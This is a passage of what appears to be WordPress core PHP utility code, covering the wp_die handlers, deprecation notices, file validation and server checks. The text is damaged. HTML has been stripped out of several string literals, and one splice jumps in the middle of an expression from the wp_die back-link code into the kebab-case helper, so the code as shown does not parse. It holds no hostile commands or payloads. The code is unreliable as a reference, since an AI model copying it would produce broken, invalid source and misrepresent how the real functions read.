'pptm', 'pps', 'ppsx', 'ppsm', 'sldx', 'sldm', 'odp' ), 'text' => array( 'asc', 'csv', 'tsv', 'txt' ), 'archive' => array( 'bz2', 'cab', 'dmg', 'gz', 'rar', 'sea', 'sit', 'sqx', 'tar', 'tgz', 'zip', '7z' ), 'code' => array( 'css', 'htm', 'html', 'php', 'js' ), ) ); } /** * Retrieve list of allowed mime types and file extensions. * * @since 2.8.6 * * @param int|WP_User $user Optional. User to check. Defaults to current user. * @return string[] Array of mime types keyed by the file extension regex corresponding * to those types. */ function get_allowed_mime_types( $user = null ) { $t = wp_get_mime_types(); unset( $t['swf'], $t['exe'] ); if ( function_exists( 'current_user_can' ) ) { $unfiltered = $user ? user_can( $user, 'unfiltered_html' ) : current_user_can( 'unfiltered_html' ); } if ( empty( $unfiltered ) ) { unset( $t['htm|html'], $t['js'] ); } /** * Filters list of allowed mime types and file extensions. * * @since 2.0.0 * * @param array $t Mime types keyed by the file extension regex corresponding to those types. * @param int|WP_User|null $user User ID, User object or null if not provided (indicates current user). */ return apply_filters( 'upload_mimes', $t, $user ); } /** * Display "Are You Sure" message to confirm the action being taken. * * If the action has the nonce explain message, then it will be displayed * along with the "Are you sure?" message. * * @since 2.0.4 * * @param string $action The nonce action. */ function wp_nonce_ays( $action ) { if ( 'log-out' === $action ) { $html = sprintf( /* translators: %s: Site title. */ __( 'You are attempting to log out of %s' ), get_bloginfo( 'name' ) ); $html .= '

'; $redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; $html .= sprintf( /* translators: %s: Logout URL. */ __( 'Do you really want to log out?' ), wp_logout_url( $redirect_to ) ); } else { $html = __( 'The link you followed has expired.' ); if ( wp_get_referer() ) { $html .= '

'; $html .= sprintf( '%s', esc_url( remove_query_arg( 'updated', wp_get_referer() ) ), __( 'Please try again.' ) ); } } wp_die( $html, __( 'Something went wrong.' ), 403 ); } /** * Kills WordPress execution and displays HTML page with an error message. * * This function complements the `die()` PHP function. The difference is that * HTML will be displayed to the user. It is recommended to use this function * only when the execution should not continue any further. It is not recommended * to call this function very often, and try to handle as many errors as possible * silently or more gracefully. * * As a shorthand, the desired HTTP response code may be passed as an integer to * the `$title` parameter (the default title would apply) or the `$args` parameter. * * @since 2.0.4 * @since 4.1.0 The `$title` and `$args` parameters were changed to optionally accept * an integer to be used as the response code. * @since 5.1.0 The `$link_url`, `$link_text`, and `$exit` arguments were added. * @since 5.3.0 The `$charset` argument was added. * @since 5.5.0 The `$text_direction` argument has a priority over get_language_attributes() * in the default handler. * * @global WP_Query $wp_query WordPress Query object. * * @param string|WP_Error $message Optional. Error message. If this is a WP_Error object, * and not an Ajax or XML-RPC request, the error's messages are used. * Default empty. * @param string|int $title Optional. Error title. If `$message` is a `WP_Error` object, * error data with the key 'title' may be used to specify the title. * If `$title` is an integer, then it is treated as the response * code. Default empty. * @param string|array|int $args { * Optional. Arguments to control behavior. If `$args` is an integer, then it is treated * as the response code. Default empty array. * * @type int $response The HTTP response code. Default 200 for Ajax requests, 500 otherwise. * @type string $link_url A URL to include a link to. Only works in combination with $link_text. * Default empty string. * @type string $link_text A label for the link to include. Only works in combination with $link_url. * Default empty string. * @type bool $back_link Whether to include a link to go back. Default false. * @type string $text_direction The text direction. This is only useful internally, when WordPress is still * loading and the site's locale is not set up yet. Accepts 'rtl' and 'ltr'. * Default is the value of is_rtl(). * @type string $charset Character set of the HTML output. Default 'utf-8'. * @type string $code Error code to use. Default is 'wp_die', or the main error code if $message * is a WP_Error. * @type bool $exit Whether to exit the process after completion. Default true. * } */ function wp_die( $message = '', $title = '', $args = array() ) { global $wp_query; if ( is_int( $args ) ) { $args = array( 'response' => $args ); } elseif ( is_int( $title ) ) { $args = array( 'response' => $title ); $title = ''; } if ( wp_doing_ajax() ) { /** * Filters the callback for killing WordPress execution for Ajax requests. * * @since 3.4.0 * * @param callable $function Callback function name. */ $function = apply_filters( 'wp_die_ajax_handler', '_ajax_wp_die_handler' ); } elseif ( wp_is_json_request() ) { /** * Filters the callback for killing WordPress execution for JSON requests. * * @since 5.1.0 * * @param callable $function Callback function name. */ $function = apply_filters( 'wp_die_json_handler', '_json_wp_die_handler' ); } elseif ( defined( 'REST_REQUEST' ) && REST_REQUEST && wp_is_jsonp_request() ) { /** * Filters the callback for killing WordPress execution for JSONP REST requests. * * @since 5.2.0 * * @param callable $function Callback function name. */ $function = apply_filters( 'wp_die_jsonp_handler', '_jsonp_wp_die_handler' ); } elseif ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) { /** * Filters the callback for killing WordPress execution for XML-RPC requests. * * @since 3.4.0 * * @param callable $function Callback function name. */ $function = apply_filters( 'wp_die_xmlrpc_handler', '_xmlrpc_wp_die_handler' ); } elseif ( wp_is_xml_request() || isset( $wp_query ) && ( function_exists( 'is_feed' ) && is_feed() || function_exists( 'is_comment_feed' ) && is_comment_feed() || function_exists( 'is_trackback' ) && is_trackback() ) ) { /** * Filters the callback for killing WordPress execution for XML requests. * * @since 5.2.0 * * @param callable $function Callback function name. */ $function = apply_filters( 'wp_die_xml_handler', '_xml_wp_die_handler' ); } else { /** * Filters the callback for killing WordPress execution for all non-Ajax, non-JSON, non-XML requests. * * @since 3.0.0 * * @param callable $function Callback function name. */ $function = apply_filters( 'wp_die_handler', '_default_wp_die_handler' ); } call_user_func( $function, $message, $title, $args ); } /** * Kills WordPress execution and displays HTML page with an error message. * * This is the default handler for wp_die(). If you want a custom one, * you can override this using the {@see 'wp_die_handler'} filter in wp_die(). * * @since 3.0.0 * @access private * * @param string|WP_Error $message Error message or WP_Error object. * @param string $title Optional. Error title. Default empty. * @param string|array $args Optional. Arguments to control behavior. Default empty array. */ function _default_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( is_string( $message ) ) { if ( ! empty( $parsed_args['additional_errors'] ) ) { $message = array_merge( array( $message ), wp_list_pluck( $parsed_args['additional_errors'], 'message' ) ); $message = "

"; } $message = sprintf( '
%s
', $message ); } $have_gettext = function_exists( '__' ); if ( ! empty( $parsed_args['link_url'] ) && ! empty( $parsed_args['link_text'] ) ) { $link_url = $parsed_args['link_url']; if ( function_exists( 'esc_url' ) ) { $link_url = esc_url( $link_url ); } $link_text = $parsed_args['link_text']; $message .= "\n

{$link_text}

"; } if ( isset( $parsed_args['back_link'] ) && $parsed_args['back_link'] ) { $back_text = $have_gettext ? __( '« Back' ) patibility * (some of the output of lodash's kebabCase is saved in the post content). * We have to make the server behave like the client. * * Changes to this function should follow updates in the client * with the same logic. * * @link https://github.com/lodash/lodash/blob/4.17/dist/lodash.js#L14369 * @link https://github.com/lodash/lodash/blob/4.17/dist/lodash.js#L278 * @link https://github.com/lodash-php/lodash-php/blob/master/src/String/kebabCase.php * @link https://github.com/lodash-php/lodash-php/blob/master/src/internal/unicodeWords.php * * @param string $string The string to kebab-case. * * @return string kebab-cased-string. */ function _wp_to_kebab_case( $string ) { //phpcs:disable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase // ignore the camelCase names for variables so the names are the same as lodash // so comparing and porting new changes is easier. /* * Some notable things we've removed compared to the lodash version are: * * - non-alphanumeric characters: rsAstralRange, rsEmoji, etc * - the groups that processed the apostrophe, as it's removed before passing the string to preg_match: rsApos, rsOptContrLower, and rsOptContrUpper * */ /** Used to compose unicode character classes. */ $rsLowerRange = 'a-z\\xdf-\\xf6\\xf8-\\xff'; $rsNonCharRange = '\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf'; $rsPunctuationRange = '\\x{2000}-\\x{206f}'; $rsSpaceRange = ' \\t\\x0b\\f\\xa0\\x{feff}\\n\\r\\x{2028}\\x{2029}\\x{1680}\\x{180e}\\x{2000}\\x{2001}\\x{2002}\\x{2003}\\x{2004}\\x{2005}\\x{2006}\\x{2007}\\x{2008}\\x{2009}\\x{200a}\\x{202f}\\x{205f}\\x{3000}'; $rsUpperRange = 'A-Z\\xc0-\\xd6\\xd8-\\xde'; $rsBreakRange = $rsNonCharRange . $rsPunctuationRange . $rsSpaceRange; /** Used to compose unicode capture groups. */ $rsBreak = '[' . $rsBreakRange . ']'; $rsDigits = '\\d+'; // The last lodash version in GitHub uses a single digit here and expands it when in use. $rsLower = '[' . $rsLowerRange . ']'; $rsMisc = '[^' . $rsBreakRange . $rsDigits . $rsLowerRange . $rsUpperRange . ']'; $rsUpper = '[' . $rsUpperRange . ']'; /** Used to compose unicode regexes. */ $rsMiscLower = '(?:' . $rsLower . '|' . $rsMisc . ')'; $rsMiscUpper = '(?:' . $rsUpper . '|' . $rsMisc . ')'; $rsOrdLower = '\\d*(?:1st|2nd|3rd|(?![123])\\dth)(?=\\b|[A-Z_])'; $rsOrdUpper = '\\d*(?:1ST|2ND|3RD|(?![123])\\dTH)(?=\\b|[a-z_])'; $regexp = '/' . implode( '|', array( $rsUpper . '?' . $rsLower . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper, '$' ) ) . ')', $rsMiscUpper . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper . $rsMiscLower, '$' ) ) . ')', $rsUpper . '?' . $rsMiscLower . '+', $rsUpper . '+', $rsOrdUpper, $rsOrdLower, $rsDigits, ) ) . '/u'; preg_match_all( $regexp, str_replace( "'", '', $string ), $matches ); return strtolower( implode( '-', $matches[0] ) ); //phpcs:enable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase } /** * Determines if the variable is a numeric-indexed array. * * @since 4.4.0 * * @param mixed $data Variable to check. * @return bool Whether the variable is a list. */ function wp_is_numeric_array( $data ) { if ( ! is_array( $data ) ) { return false; } $keys = array_keys( $data ); $string_keys = array_filter( $keys, 'is_string' ); return count( $string_keys ) === 0; } /** * Filters a list of objects, based on a set of key => value arguments. * * Retrieves the objects from the list that match the given arguments. * Key represents property name, and value represents property value. * * If an object has more properties than those specified in arguments, * that will not disqualify it. When using the 'AND' operator, * any missing properties will disqualify it. * * When using the `$field` argument, this function can also retrieve * a particular field from all matching objects, whereas wp_list_filter() * only does the filtering. * * @since 3.0.0 * @since 4.7.0 Uses `WP_List_Util` class. * * @param array $list An array of objects to filter. * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @param bool|string $field Optional. A field from the object to place instead * of the entire object. Default false. * @return array A list of objects or object fields. */ function wp_filter_object_list( $list, $args = array(), $operator = 'and', $field = false ) { if ( ! is_array( $list ) ) { return array(); } $util = new WP_List_Util( $list ); $util->filter( $args, $operator ); if ( $field ) { $util->pluck( $field ); } return $util->get_output(); } /** * Filters a list of objects, based on a set of key => value arguments. * * Retrieves the objects from the list that match the given arguments. * Key represents property name, and value represents property value. * * If an object has more properties than those specified in arguments, * that will not disqualify it. When using the 'AND' operator, * any missing properties will disqualify it. * * If you want to retrieve a particular field from all matching objects, * use wp_filter_object_list() instead. * * @since 3.1.0 * @since 4.7.0 Uses `WP_List_Util` class. * * @param array $list An array of objects to filter. * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @return array Array of found values. */ function wp_list_filter( $list, $args = array(), $operator = 'AND' ) { if ( ! is_array( $list ) ) { return array(); } $util = new WP_List_Util( $list ); return $util->filter( $args, $operator ); } /** * Pluck a certain field out of each object in a list. * * This has the same functionality and prototype of * array_column() (PHP 5.5) but also supports objects. * * @since 3.1.0 * @since 4.0.0 $index_key parameter added. * @since 4.7.0 Uses `WP_List_Util` class. * * @param array $list List of objects or arrays. * @param int|string $field Field from the object to place instead of the entire object. * @param int|string $index_key Optional. Field from the object to use as keys for the new array. * Default null. * @return array Array of found values. If `$index_key` is set, an array of found values with keys * corresponding to `$index_key`. If `$index_key` is null, array keys from the original * `$list` will be preserved in the results. */ function wp_list_pluck( $list, $field, $index_key = null ) { $util = new WP_List_Util( $list ); return $util->pluck( $field, $index_key ); } /** * Sorts a list of objects, based on one or more orderby arguments. * * @since 4.7.0 * * @param array $list An array of objects to sort. * @param string|array $orderby Optional. Either the field name to order by or an array * of multiple orderby fields as $orderby => $order. * @param string $order Optional. Either 'ASC' or 'DESC'. Only used if $orderby * is a string. * @param bool $preserve_keys Optional. Whether to preserve keys. Default false. * @return array The sorted array. */ function wp_list_sort( $list, $orderby = array(), $order = 'ASC', $preserve_keys = false ) { if ( ! is_array( $list ) ) { return array(); } $util = new WP_List_Util( $list ); return $util->sort( $orderby, $order, $preserve_keys ); } /** * Determines if Widgets library should be loaded. * * Checks to make sure that the widgets library hasn't already been loaded. * If it hasn't, then it will load the widgets library and run an action hook. * * @since 2.2.0 */ function wp_maybe_load_widgets() { /** * Filters whether to load the Widgets library. * * Returning a falsey value from the filter will effectively short-circuit * the Widgets library from loading. * * @since 2.8.0 * * @param bool $wp_maybe_load_widgets Whether to load the Widgets library. * Default true. */ if ( ! apply_filters( 'load_default_widgets', true ) ) { return; } require_once ABSPATH . WPINC . '/default-widgets.php'; add_action( '_admin_menu', 'wp_widgets_add_menu' ); } /** * Append the Widgets menu to the themes main menu. * * @since 2.2.0 * * @global array $submenu */ function wp_widgets_add_menu() { global $submenu; if ( ! current_theme_supports( 'widgets' ) ) { return; } $submenu['themes.php'][7] = array( __( 'Widgets' ), 'edit_theme_options', 'widgets.php' ); ksort( $submenu['themes.php'], SORT_NUMERIC ); } /** * Flush all output buffers for PHP 5.2. * * Make sure all output buffers are flushed before our singletons are destroyed. * * @since 2.2.0 */ function wp_ob_end_flush_all() { $levels = ob_get_level(); for ( $i = 0; $i < $levels; $i++ ) { ob_end_flush(); } } /** * Load custom DB error or display WordPress DB error. * * If a file exists in the wp-content directory named db-error.php, then it will * be loaded instead of displaying the WordPress DB error. If it is not found, * then the WordPress DB error will be displayed instead. * * The WordPress DB error sets the HTTP status header to 500 to try to prevent * search engines from caching the message. Custom DB messages should do the * same. * * This function was backported to WordPress 2.3.2, but originally was added * in WordPress 2.5.0. * * @since 2.3.2 * * @global wpdb $wpdb WordPress database abstraction object. */ function dead_db() { global $wpdb; wp_load_translations_early(); // Load custom DB error template, if present. if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) { require_once WP_CONTENT_DIR . '/db-error.php'; die(); } // If installing or in the admin, provide the verbose message. if ( wp_installing() || defined( 'WP_ADMIN' ) ) { wp_die( $wpdb->error ); } // Otherwise, be terse. wp_die( '

' . __( 'Error establishing a database connection' ) . '

', __( 'Database Error' ) ); } /** * Convert a value to non-negative integer. * * @since 2.5.0 * * @param mixed $maybeint Data you wish to have converted to a non-negative integer. * @return int A non-negative integer. */ function absint( $maybeint ) { return abs( (int) $maybeint ); } /** * Mark a function as deprecated and inform when it has been used. * * There is a {@see 'hook deprecated_function_run'} that will be called that can be used * to get the backtrace up to what file and function called the deprecated * function. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every function that is deprecated. * * @since 2.5.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $function The function that was called. * @param string $version The version of WordPress that deprecated the function. * @param string $replacement Optional. The function that should have been called. Default empty. */ function _deprecated_function( $function, $version, $replacement = '' ) { /** * Fires when a deprecated function is called. * * @since 2.5.0 * * @param string $function The function that was called. * @param string $replacement The function that should have been called. * @param string $version The version of WordPress that deprecated the function. */ do_action( 'deprecated_function_run', $function, $replacement, $version ); /** * Filters whether to trigger an error for deprecated functions. * * @since 2.5.0 * * @param bool $trigger Whether to trigger the error for deprecated functions. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $replacement ) { trigger_error( sprintf( /* translators: 1: PHP function name, 2: Version number, 3: Alternative function name. */ __( '%1$s is deprecated since version %2$s! Use %3$s instead.' ), $function, $version, $replacement ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( /* translators: 1: PHP function name, 2: Version number. */ __( '%1$s is deprecated since version %2$s with no alternative available.' ), $function, $version ), E_USER_DEPRECATED ); } } else { if ( $replacement ) { trigger_error( sprintf( '%1$s is deprecated since version %2$s! Use %3$s instead.', $function, $version, $replacement ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( '%1$s is deprecated since version %2$s with no alternative available.', $function, $version ), E_USER_DEPRECATED ); } } } } /** * Marks a constructor as deprecated and informs when it has been used. * * Similar to _deprecated_function(), but with different strings. Used to * remove PHP4 style constructors. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every PHP4 style constructor method that is deprecated. * * @since 4.3.0 * @since 4.5.0 Added the `$parent_class` parameter. * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $class The class containing the deprecated constructor. * @param string $version The version of WordPress that deprecated the function. * @param string $parent_class Optional. The parent class calling the deprecated constructor. * Default empty string. */ function _deprecated_constructor( $class, $version, $parent_class = '' ) { /** * Fires when a deprecated constructor is called. * * @since 4.3.0 * @since 4.5.0 Added the `$parent_class` parameter. * * @param string $class The class containing the deprecated constructor. * @param string $version The version of WordPress that deprecated the function. * @param string $parent_class The parent class calling the deprecated constructor. */ do_action( 'deprecated_constructor_run', $class, $version, $parent_class ); /** * Filters whether to trigger an error for deprecated functions. * * `WP_DEBUG` must be true in addition to the filter evaluating to true. * * @since 4.3.0 * * @param bool $trigger Whether to trigger the error for deprecated functions. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_constructor_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $parent_class ) { trigger_error( sprintf( /* translators: 1: PHP class name, 2: PHP parent class name, 3: Version number, 4: __construct() method. */ __( 'The called constructor method for %1$s in %2$s is deprecated since version %3$s! Use %4$s instead.' ), $class, $parent_class, $version, '__construct()' ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( /* translators: 1: PHP class name, 2: Version number, 3: __construct() method. */ __( 'The called constructor method for %1$s is deprecated since version %2$s! Use %3$s instead.' ), $class, $version, '__construct()' ), E_USER_DEPRECATED ); } } else { if ( $parent_class ) { trigger_error( sprintf( 'The called constructor method for %1$s in %2$s is deprecated since version %3$s! Use %4$s instead.', $class, $parent_class, $version, '__construct()' ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( 'The called constructor method for %1$s is deprecated since version %2$s! Use %3$s instead.', $class, $version, '__construct()' ), E_USER_DEPRECATED ); } } } } /** * Mark a file as deprecated and inform when it has been used. * * There is a hook {@see 'deprecated_file_included'} that will be called that can be used * to get the backtrace up to what file and function included the deprecated * file. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every file that is deprecated. * * @since 2.5.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $file The file that was included. * @param string $version The version of WordPress that deprecated the file. * @param string $replacement Optional. The file that should have been included based on ABSPATH. * Default empty. * @param string $message Optional. A message regarding the change. Default empty. */ function _deprecated_file( $file, $version, $replacement = '', $message = '' ) { /** * Fires when a deprecated file is called. * * @since 2.5.0 * * @param string $file The file that was called. * @param string $replacement The file that should have been included based on ABSPATH. * @param string $version The version of WordPress that deprecated the file. * @param string $message A message regarding the change. */ do_action( 'deprecated_file_included', $file, $replacement, $version, $message ); /** * Filters whether to trigger an error for deprecated files. * * @since 2.5.0 * * @param bool $trigger Whether to trigger the error for deprecated files. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) { $message = empty( $message ) ? '' : ' ' . $message; if ( function_exists( '__' ) ) { if ( $replacement ) { trigger_error( sprintf( /* translators: 1: PHP file name, 2: Version number, 3: Alternative file name. */ __( '%1$s is deprecated since version %2$s! Use %3$s instead.' ), $file, $version, $replacement ) . $message, E_USER_DEPRECATED ); } else { trigger_error( sprintf( /* translators: 1: PHP file name, 2: Version number. */ __( '%1$s is deprecated since version %2$s with no alternative available.' ), $file, $version ) . $message, E_USER_DEPRECATED ); } } else { if ( $replacement ) { trigger_error( sprintf( '%1$s is deprecated since version %2$s! Use %3$s instead.', $file, $version, $replacement ) . $message, E_USER_DEPRECATED ); } else { trigger_error( sprintf( '%1$s is deprecated since version %2$s with no alternative available.', $file, $version ) . $message, E_USER_DEPRECATED ); } } } } /** * Mark a function argument as deprecated and inform when it has been used. * * This function is to be used whenever a deprecated function argument is used. * Before this function is called, the argument must be checked for whether it was * used by comparing it to its default value or evaluating whether it is empty. * For example: * * if ( ! empty( $deprecated ) ) { * _deprecated_argument( __FUNCTION__, '3.0.0' ); * } * * There is a hook deprecated_argument_run that will be called that can be used * to get the backtrace up to what file and function used the deprecated * argument. * * The current behavior is to trigger a user error if WP_DEBUG is true. * * @since 3.0.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $function The function that was called. * @param string $version The version of WordPress that deprecated the argument used. * @param string $message Optional. A message regarding the change. Default empty. */ function _deprecated_argument( $function, $version, $message = '' ) { /** * Fires when a deprecated argument is called. * * @since 3.0.0 * * @param string $function The function that was called. * @param string $message A message regarding the change. * @param string $version The version of WordPress that deprecated the argument used. */ do_action( 'deprecated_argument_run', $function, $message, $version ); /** * Filters whether to trigger an error for deprecated arguments. * * @since 3.0.0 * * @param bool $trigger Whether to trigger the error for deprecated arguments. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $message ) { trigger_error( sprintf( /* translators: 1: PHP function name, 2: Version number, 3: Optional message regarding the change. */ __( '%1$s was called with an argument that is deprecated since version %2$s! %3$s' ), $function, $version, $message ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( /* translators: 1: PHP function name, 2: Version number. */ __( '%1$s was called with an argument that is deprecated since version %2$s with no alternative available.' ), $function, $version ), E_USER_DEPRECATED ); } } else { if ( $message ) { trigger_error( sprintf( '%1$s was called with an argument that is deprecated since version %2$s! %3$s', $function, $version, $message ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( '%1$s was called with an argument that is deprecated since version %2$s with no alternative available.', $function, $version ), E_USER_DEPRECATED ); } } } } /** * Marks a deprecated action or filter hook as deprecated and throws a notice. * * Use the {@see 'deprecated_hook_run'} action to get the backtrace describing where * the deprecated hook was called. * * Default behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is called by the do_action_deprecated() and apply_filters_deprecated() * functions, and so generally does not need to be called directly. * * @since 4.6.0 * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * @access private * * @param string $hook The hook that was used. * @param string $version The version of WordPress that deprecated the hook. * @param string $replacement Optional. The hook that should have been used. Default empty. * @param string $message Optional. A message regarding the change. Default empty. */ function _deprecated_hook( $hook, $version, $replacement = '', $message = '' ) { /** * Fires when a deprecated hook is called. * * @since 4.6.0 * * @param string $hook The hook that was called. * @param string $replacement The hook that should be used as a replacement. * @param string $version The version of WordPress that deprecated the argument used. * @param string $message A message regarding the change. */ do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message ); /** * Filters whether to trigger deprecated hook errors. * * @since 4.6.0 * * @param bool $trigger Whether to trigger deprecated hook errors. Requires * `WP_DEBUG` to be defined true. */ if ( WP_DEBUG && apply_filters( 'deprecated_hook_trigger_error', true ) ) { $message = empty( $message ) ? '' : ' ' . $message; if ( $replacement ) { trigger_error( sprintf( /* translators: 1: WordPress hook name, 2: Version number, 3: Alternative hook name. */ __( '%1$s is deprecated since version %2$s! Use %3$s instead.' ), $hook, $version, $replacement ) . $message, E_USER_DEPRECATED ); } else { trigger_error( sprintf( /* translators: 1: WordPress hook name, 2: Version number. */ __( '%1$s is deprecated since version %2$s with no alternative available.' ), $hook, $version ) . $message, E_USER_DEPRECATED ); } } } /** * Mark something as being incorrectly called. * * There is a hook {@see 'doing_it_wrong_run'} that will be called that can be used * to get the backtrace up to what file and function called the deprecated * function. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * @since 3.1.0 * @since 5.4.0 This function is no longer marked as "private". * * @param string $function The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. */ function _doing_it_wrong( $function, $message, $version ) { /** * Fires when the given function is being used incorrectly. * * @since 3.1.0 * * @param string $function The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. */ do_action( 'doing_it_wrong_run', $function, $message, $version ); /** * Filters whether to trigger an error for _doing_it_wrong() calls. * * @since 3.1.0 * @since 5.1.0 Added the $function, $message and $version parameters. * * @param bool $trigger Whether to trigger the error for _doing_it_wrong() calls. Default true. * @param string $function The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. */ if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true, $function, $message, $version ) ) { if ( function_exists( '__' ) ) { if ( $version ) { /* translators: %s: Version number. */ $version = sprintf( __( '(This message was added in version %s.)' ), $version ); } $message .= ' ' . sprintf( /* translators: %s: Documentation URL. */ __( 'Please see Debugging in WordPress for more information.' ), __( 'https://wordpress.org/support/article/debugging-in-wordpress/' ) ); trigger_error( sprintf( /* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: WordPress version number. */ __( '%1$s was called incorrectly. %2$s %3$s' ), $function, $message, $version ), E_USER_NOTICE ); } else { if ( $version ) { $version = sprintf( '(This message was added in version %s.)', $version ); } $message .= sprintf( ' Please see Debugging in WordPress for more information.', 'https://wordpress.org/support/article/debugging-in-wordpress/' ); trigger_error( sprintf( '%1$s was called incorrectly. %2$s %3$s', $function, $message, $version ), E_USER_NOTICE ); } } } /** * Is the server running earlier than 1.5.0 version of lighttpd? * * @since 2.5.0 * * @return bool Whether the server is running lighttpd < 1.5.0. */ function is_lighttpd_before_150() { $server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : '' ); $server_parts[1] = isset( $server_parts[1] ) ? $server_parts[1] : ''; return ( 'lighttpd' === $server_parts[0] && -1 == version_compare( $server_parts[1], '1.5.0' ) ); } /** * Does the specified module exist in the Apache config? * * @since 2.5.0 * * @global bool $is_apache * * @param string $mod The module, e.g. mod_rewrite. * @param bool $default Optional. The default return value if the module is not found. Default false. * @return bool Whether the specified module is loaded. */ function apache_mod_loaded( $mod, $default = false ) { global $is_apache; if ( ! $is_apache ) { return false; } if ( function_exists( 'apache_get_modules' ) ) { $mods = apache_get_modules(); if ( in_array( $mod, $mods, true ) ) { return true; } } elseif ( function_exists( 'phpinfo' ) && false === strpos( ini_get( 'disable_functions' ), 'phpinfo' ) ) { ob_start(); phpinfo( 8 ); $phpinfo = ob_get_clean(); if ( false !== strpos( $phpinfo, $mod ) ) { return true; } } return $default; } /** * Check if IIS 7+ supports pretty permalinks. * * @since 2.8.0 * * @global bool $is_iis7 * * @return bool Whether IIS7 supports permalinks. */ function iis7_supports_permalinks() { global $is_iis7; $supports_permalinks = false; if ( $is_iis7 ) { /* First we check if the DOMDocument class exists. If it does not exist, then we cannot * easily update the xml configuration file, hence we just bail out and tell user that * pretty permalinks cannot be used. * * Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When * URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'. * Lastly we make sure that PHP is running via FastCGI. This is important because if it runs * via ISAPI then pretty permalinks will not work. */ $supports_permalinks = class_exists( 'DOMDocument', false ) && isset( $_SERVER['IIS_UrlRewriteModule'] ) && ( 'cgi-fcgi' === PHP_SAPI ); } /** * Filters whether IIS 7+ supports pretty permalinks. * * @since 2.8.0 * * @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false. */ return apply_filters( 'iis7_supports_permalinks', $supports_permalinks ); } /** * Validates a file name and path against an allowed set of rules. * * A return value of `1` means the file path contains directory traversal. * * A return value of `2` means the file path contains a Windows drive path. * * A return value of `3` means the file is not in the allowed files list. * * @since 1.2.0 * * @param string $file File path. * @param string[] $allowed_files Optional. Array of allowed files. * @return int 0 means nothing is wrong, greater than 0 means something was wrong. */ function validate_file( $file, $allowed_files = array() ) { // `../` on its own is not allowed: if ( '../' === $file ) { return 1; } // More than one occurence of `../` is not allowed: if ( preg_match_all( '#\.\./#', $file, $matches, PREG_SET_ORDER ) && ( count( $matches ) > 1 ) ) { return 1; } // `../` which does not occur at the end of the path is not allowed: if ( false !== strpos( $file, '../' ) && '../' !== mb_substr( $file, -3, 3 ) ) { return 1; } // Files not in the allowed file list are not allowed: if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files, true ) ) { return 3; } // Absolute Windows drive paths are not allowed: if ( ':' === substr( $file, 1, 1 ) ) { return 2; } return 0; } /** * Whether to force SSL used for the Administration Screens. * * @since 2.6.0 * * @param string|bool $force Optional. Whether to force SSL in admin screens. Default null. * @return bool True if forced, false if not forced. */ function force_ssl_admin( $force = null ) { static $forced = false; if ( ! is_null( $force ) ) { $old_forced = $forced; $forced = $force; return $old_forced; } return $forced; } /** * Guess the URL for the site. * * Will remove wp-admin links to retrieve only return URLs not in the wp-admin * directory. * * @since 2.6.0 * * @return string The guessed URL. */ function wp_guess_url() { if ( defined( 'WP_SITEURL' ) && '' !== WP_SITEURL ) { $url = WP_SITEURL; } else { $abspath_fix = str_replace( '\\', '/', ABSPATH ); $script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] ); // The request is for 